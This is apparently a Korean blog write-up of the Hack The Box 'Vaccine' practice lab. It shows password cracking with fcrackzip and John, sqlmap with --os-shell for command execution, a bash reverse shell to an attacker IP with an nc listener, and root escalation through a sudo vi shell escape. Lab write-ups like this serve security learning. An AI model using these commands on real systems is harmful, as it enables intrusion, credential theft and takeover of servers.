▌ TRANSMISSION · [HTB]
[STARTING_POINT] Tier2 Vaccien
Nmap
sudo nmap 10.129.6.4 -p- -Pn --open -sV -sC --min-rate 2000
Task
- FTP
- get으로 파일 다운 (backup.zip)
- zip
- password가 걸려있음
jcrackzip
- crack : https://sohvaxus.github.io/content/fcrackzip-bruteforce-tutorial.html
sudo apt install fcrackzip -y으로 설치 가능
fcrackzip -D -p <wordlist> -u <zipfile>
- 사용한 명령
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
찾아보니
zip2john명령으로도 크랙이 가능.
zip2john
zip2john <filename> > hash.txt
위 명령을 사용하면 해시 파일이 나옴 그걸 john으로 크랙하면 됨.
john hash.txt
또는
john -w <wordlist> hash.txt
- index.php
- 내부에 admin 유저의 정보가 담겨 있음 (패스워드가 md5로 해시화)
- crackstation에서 크랙해보면 패스워드가 나옴
- http
- (ssh 서비스에 접속을 시도하였으나 되지 않았음)
- 웹서비스가 열려있으니 접속해서 admin으로 로그인
- 데이터를 검색하는 기능이 있는것 같은데, sqli가 동작한다는 것을 알 수 있음
- sqlmap으로 탐색
- 검색 요청 패킷을 잡아서 패킷 내용을 request.txt 로 저장
sqlmap -u "http://<targetip>/dashboard.php?search=test" --os-shell --cookie="<session-value>"
--os-shell: SQLi를 발판으로 대상 서버의 운영체제 명령을 대화형 셸처럼 실행할 수 있도록 해주는 옵션. (개사기네…)- 이게 가능하다면 sql로 rce가 된다는 소리이다. (점검)
- 접속해보면 sql를 통해 실행되기에 정상적으로 명령이 되는게 있고 안되는게 있다. 그래서 리버스 쉘을 사용해 안정적으로 쉘을 이용해줄 것이다.
- Reverse shell 타겟에서는
bash -c "bash -i >& /dev/tcp/10.10.15.16/1337 0>&1"
공격자에서는
nc -lnvp 1337
리버스 쉘도 파이프 형식이라 불안정하므로 python으로 다른 tty 세션을 열어 거기에 붙여주자.
python3 -c 'import pty;pty.spawn("/bin/bash")'
- postgres 홈디렉터리에 user.txt에서 플래그를 획득할 수 있다.
privilege escalation
/var/www/html- 해당 디렉터리는 웹 서버의 기본 문서 루트 디렉터리이다.
- ubuntu/debian 계열에서 apache를 쓰면 기본으로 해당 디렉터리에 파일들이 모이게 된다.
- 여기서 postgres 유저의 패스워드를 얻을 수 있다.
- dashboard.php 에서 데이터 베이스 접속을 위한 접속 정보가 그대로 담겨있다.
- 얻은 정보로
sudo -l을 사용하여 현재 사용자가 root 권한으로 실행 가능한 명령이 뭐가 있는지 알아볼 수 있다./bin/vi /etc/postgresql/11/main/pg_hba.conf- 특정 파일을 vi로 열 수 있는 sudo 권한이 존재하는 것을 알 수 있다.
- vi로 해당 파일을 열면 sudo 권한으로 열리는건데, root 권한으로 열린 해당 프로세스에서 쉘을 실행시키면 된다.
vi command
- vi 에서 명령 모드로 전환하면 간단한 쉘 명령을 사용할 수 있다.
:set shell=/bin/sh
:shell
그렇게 하면 root로 쉘을 띄울 수 있다. (쉘이 이상하면 reset으로 입력형태를 초기화해주자.)
← ALL POSTS